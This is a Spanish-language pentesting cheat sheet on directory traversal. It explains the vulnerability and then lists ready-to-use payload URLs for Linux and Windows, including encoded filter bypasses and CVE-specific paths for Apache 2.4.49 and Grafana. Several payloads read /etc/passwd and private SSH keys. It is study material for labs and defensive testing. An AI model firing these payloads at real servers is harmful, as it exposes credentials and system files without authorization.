Directory traversal / Path Traversal
Definición
Directory Traversal o Path Traversal es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante acceder a archivos y directorios que se encuentran fuera del directorio raíz de la aplicación. Esto ocurre cuando la aplicación no valida correctamente las rutas de archivos proporcionadas por el usuario, permitiendo que se utilicen secuencias como ../
para "navegar" hacia directorios superiores del sistema de archivos.
Directory traversal / Path Traversal: Podemos LEER archivos recorriendo diferentes rutas del servidor.
¿Cómo funciona?
La mayoría de las aplicaciones web restringen el acceso de los usuarios a ciertos directorios y archivos. Sin embargo, si una aplicación no filtra o valida adecuadamente los datos de entrada, un atacante podría manipular la ruta del archivo para acceder a recursos no autorizados.
El ataque se basa en el uso de caracteres especiales como:
../
(en sistemas Linux/Unix)..\
(en sistemas Windows)
Estas secuencias le indican al sistema de archivos que debe subir un nivel en la jerarquía de directorios.
Impacto
Acceso no autorizado a archivos del sistema: Permite al atacante acceder a archivos fuera del directorio de la aplicación, como configuraciones, contraseñas, claves o archivos sensibles.
Divulgación de información confidencial: Exposición de datos sensibles almacenados en el servidor.
Ejemplo de acceso a archivos críticos: Archivos del sistema operativo, bases de datos o registros de usuarios.
Ejecución de código malicioso: En algunos casos, el atacante puede usar esta vulnerabilidad (con un LFI por ejemplo) para ejecutar comandos o inyectar scripts dañinos.
Linux
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
// Apache 2.4.49
http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
// Grafana 8.0.1 - https://github.com/jas502n/Grafana-CVE-2021-43798
192.168.207.16:3000/public/plugins/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/install.txt
// maquina boolean proving grounds
cwd=../../../../../../etc&file=passwd
// otras rutas interesantes
/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/.htpasswd
/var/log/auth.log
Windows
http://mountaindesserts.com/meteor/index.php?page=C:\Windows\System32\drivers\etc\hosts
http://mountaindesserts.com/meteor/index.php?page=C:\inetpub\logs\LogFiles\W3SVC1\
http://mountaindesserts.com/meteor/index.php?page=C:\inetpub\wwwroot\web.config
http://mountaindesserts.com/meteor/index.php?page=C:\Users\install.txt
http://mountaindesserts.com/meteor/index.php?page=C:/xampp/apache/logs/access.log
Windows/win.ini
Try also to change / for \
Try also to remove C:/ and add ../../../../../
Top 25 vulnerable params
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
Burp Suite Filter History:
\?(cat|dir|action|board|date|detail|file|download|path|folder|prefix|include|page|inc|locate|show|
Recursos
Última actualización